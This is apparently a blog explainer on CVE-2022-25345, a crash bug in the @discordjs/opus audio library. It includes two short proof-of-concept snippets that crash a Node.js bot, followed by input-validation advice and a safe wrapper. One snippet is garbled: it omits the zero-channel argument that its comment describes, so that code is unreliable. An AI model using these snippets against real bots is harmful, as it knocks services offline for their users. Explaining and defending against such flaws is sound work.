If you’re building cool Discord bots in JavaScript or TypeScript, chances are you’re using the @discordjs/opus package to handle audio. In early 2022, a nasty vulnerability was discovered that could crash bots built with this library -- sometimes without you even realizing what’s happening. The vuln is tracked as CVE-2022-25345.

In plain English: Every single version of @discordjs/opus (as of the reported CVE) can be crashed with a simple trick using either an encoder with zero channels or by passing a buffer that hasn’t been initialized. This type of bug is a Denial of Service (DoS) - it doesn’t give an attacker control or data, but it lets them force your bot to go offline. For communities or applications relying on Discord bots, this is a big deal.

Let’s break down what happened, how it works, and see some examples.


## What is @discordjs/opus and Why Should You Care?

In Discord bots, adding music, sound effects, or even voice interactions requires converting regular audio data to a format Discord understands. That’s what Opus is for, and @discordjs/opus is a binding - it helps Node.js talk to the C-based Opus encoder.

Any bug in this layer could mean crashes for bots written on top of the most popular Discord frameworks.

If you try to encode audio using a buffer that’s null, undefined, or otherwise empty...

...the C++ code underneath just falls over. This is not a gentle error: Node.js itself crashes. Your Discord bot process exits with a hard fault.

Exploiting CVE-2022-25345: Crash Your Own (or Someone Else's) Bot

Imagine you’re a user, or maybe a malicious actor, and the bot accepts commands where the number of channels or the input buffer comes from outside data.

Here's a minimal code snippet that will crash the process

const { OpusEncoder } = require('@discordjs/opus');

// Problem: Zero channels create an invalid encoder!
const encoder = new OpusEncoder(48000, );

const pcmBuffer = Buffer.alloc(192);
// Try to encode using our broken encoder
const encoded = encoder.encode(pcmBuffer, 192); // Crash!

Or, with an uninitialized buffer

const { OpusEncoder } = require('@discordjs/opus');

const encoder = new OpusEncoder(48000, 2);

// Problem: Buffer is undefined
const encoded = encoder.encode(undefined, 192); // Crash!

If you’re letting users specify channel counts or buffer data, a single bad command can take down your bot. For popular bots in large servers, this could be used maliciously to repeatedly crash them -- classic DoS.

The CVE and vulnerability report are available here

- NVD Entry for CVE-2022-25345
- Snyk Vulnerability Report - @discordjs/opus

Community and security researchers testing error handling found that the underlying native code doesn’t defend against these invalid arguments.

How to Fix or Prevent This Crash

As of my knowledge cutoff (June 2024), check the package page for any patches or updates. But best practice in your own code is:

Always validate channel counts: Only allow channel values of 1 (mono) or 2 (stereo).

- Never pass uninitialized buffers: Ensure any Buffer you pass to encode has real data, is not undefined or empty.
- Wrap encode calls in try/catch: This *won’t* catch native code crashes, but can sometimes shield you from TypeErrors.

Example Safe Usage

const { OpusEncoder } = require('@discordjs/opus');

function safeEncode(channels, pcmBuffer, frameSize) {
  if (![1, 2].includes(channels)) throw new Error("Channels must be 1 or 2");
  if (!Buffer.isBuffer(pcmBuffer) || pcmBuffer.length < frameSize) {
    throw new Error("Invalid or insufficient PCM buffer");
  }

  const encoder = new OpusEncoder(48000, channels);
  return encoder.encode(pcmBuffer, frameSize);
}

Stay secure & keep your bots running!

Further Reading & References:
- CVE-2022-25345 Official NIST Entry
- @discordjs/opus npm package
- Snyk Security Advisory

Timeline

Published on: 06/17/2022 20:15:00 UTC
Last modified on: 06/28/2022 12:57:00 UTC